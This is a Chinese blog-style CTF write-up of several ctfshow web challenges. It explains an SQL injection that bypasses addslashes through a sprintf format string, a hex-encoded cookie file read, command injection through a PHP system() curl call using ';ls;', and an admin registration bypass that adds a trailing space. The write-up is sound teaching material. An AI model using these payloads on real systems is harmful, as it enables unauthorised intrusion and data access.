ctfshowweb部分题目

本文介绍了Web入门知识,讲解了SQL注入的防范,通过示例展示了如何利用payload绕过过滤。同时,提到了Cookie利用技巧,解码获取flag。此外,还涉及了PHP代码审计,解释了系统命令注入的原理,并给出了构造URL进行命令执行的方法。最后,文章讨论了PHP会话劫持题目,解析了preg_replace_callback函数的使用及正则注入的解决策略。
摘要由CSDN通过智能技术生成

web入门

给她 1

参考文档

https://blog.csdn.net/weixin_51412071/article/details/124270277

image-20221016152918514

查看链接

sql注入

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

在这里插入图片描述

直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1#

在这里插入图片描述

?name=admin&pass=%1$' or 1=1--+


在这里插入图片描述

找到此页面的cookie

转为16进制解码得到

flag.txt

尝试将Cookie中的file赋值为/flag,即

将/flag换成16进制

Cookie: file=2f666c6167

成功

image-20221016153919564

签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

代码审计

构造url

get传入url

system表示php直接执行系统的命令

"|"是管道命令操作符,简称管道符。

使用管道符"|"可以将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,

第二个命令的输出又会作为第三个命令的输入,依此类推.

构造

http://edbb7af6-9f4a-445e-9578-93b24d1559c6.challenge.ctf.show/?url=;ls;

则为:

curl https://;ls;.ctf.show

例如:

image-20221016155234428

靶场如下:

执行ls

image-20221016155454138

执行cat查看flag

image-20221016155443323

假赛生

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

题目显示register.php和login.php提示

image-20221016161314867

image-20221016161330150

注册admin

image-20221016162148396

使用admin (空格)注册

image-20221016162329783

注册成功

尝试登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-II03qPFW-1668255264184)(C:\Users\WenTesla\AppData\Roaming\Typora\typora-user-images\image-20221016162350810.png)]

证实登录页面的php后台属于 上述

接着注入c

preg_replace_callback 函数执行一个正则表达式搜索并且使用一个回调进行替换。
mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )

这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于 preg_replace()。

参数说明:

  • $pattern: 要搜索的模式,可以使字符串或一个字符串数组。
  • $callback: 一个回调函数,在每次需要替换时调用,调用时函数得到的参数是从subject 中匹配到的结果。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。
有关正则匹配的知识
 \w:用于匹配字母,数字或下划线字符;
 \W:用于匹配所有与\w不匹配的字符;
 “*”元字符规定其前导字符必须在目标对象中出现零次或连续多次;

其实没有过滤空格此处为空即可

image-20221016163057416

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值